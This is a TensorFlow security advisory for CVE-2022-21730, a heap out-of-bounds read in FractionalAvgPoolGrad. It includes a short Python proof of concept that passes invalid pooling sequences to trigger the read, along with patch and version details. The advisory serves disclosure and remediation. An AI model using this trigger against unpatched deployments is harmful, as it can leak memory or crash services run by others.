1## TFSA-2022-005: Heap OOB access in `FractionalAvgPoolGrad` 2 3### CVE Number 4CVE-2022-21730 5 6### Impact 7The [implementation of `FractionalAvgPoolGrad`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap: 8 9```python 10import tensorflow as tf 11 12@tf.function 13def test(): 14 y = tf.raw_ops.FractionalAvgPoolGrad( 15 orig_input_tensor_shape=[2,2,2,2], 16 out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]], 17 row_pooling_sequence=[-10,1,2,3], 18 col_pooling_sequence=[1,2,3,4], 19 overlapping=True) 20 return y 21 22test() 23``` 24 25### Patches 26We have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9). 27 28The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range. 29 30### For more information 31Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. 32 33### Attribution 34This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team. 35